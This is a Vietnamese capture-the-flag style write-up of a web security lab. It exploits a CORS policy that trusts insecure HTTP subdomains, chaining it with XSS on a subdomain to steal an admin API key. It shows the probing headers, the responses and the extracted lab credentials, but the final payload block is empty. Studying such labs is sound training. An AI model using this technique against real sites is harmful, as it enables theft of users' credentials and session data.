> For the complete documentation index, see [llms.txt](https://hieus-organization-25.gitbook.io/canhieu-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hieus-organization-25.gitbook.io/canhieu-writeup/cross-origin-resource-sharing-cors/cors-vulnerability-with-trusted-insecure-protocols.md).
# CORS vulnerability with trusted insecure protocols
## ANALYZE
* **Loại lỗi**: CORS Misconfiguration (Cấu hình sai CORS)
* **Vị trí lỗi**: Chấp nhận mọi subdomain kể cả khi dùng HTTP (insecure protocol)
* **Cách khai thác**:
* Dùng **subdomain HTTP** để gửi yêu cầu CORS chứa `credentials: include`
* Server gốc **chấp nhận origin không an toàn**
* **Mục tiêu**: Trích xuất **API key của admin** từ endpoint nhạy cảm (ví dụ `/accountDetails`)
* **Cách giải quyết**: Host mã JavaScript độc hại trên subdomain HTTP và **dụ admin truy cập**.
## EXPLOIT
Ta sẽ tiến hành đăng nhập và truy cập vào endpoint `/accountDetails`
Theo như đề bài , thì trang này tin cậy mọi loại subdomain mà ko hề kiểm tra
Vậy nên tôi sẽ thử chèn 1 subdomain lạ vào url để xem phản hồi :
```
Origin: http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net
```
kết quả trả về :
```
Access-Control-Allow-Origin: http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net
Access-Control-Allow-Credentials: true
```
⇒ CORS chấp nhận origin HTTP subdomain
Tiếp theo tôi sẽ thử với 1 payload để kiểm tra xem có lỗ hổng XSS ko :
```
http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net/?productId=&storeId=1
```
Vậy nên payload cuối cùng để hoàn thành bài sẽ là :
```
```
Và Ta đã nhận được \` key\` từ admin
khi decode thì ta nhận được là :
```
"username": "administrator", "email": "", "apikey": "KCDzq8T56UmIQImNHdezBWqngmOXunbA", "sessions": [ "B3pINC9dNi2oaHyzlBGDgBJszwEQDZ4Y" ]
```
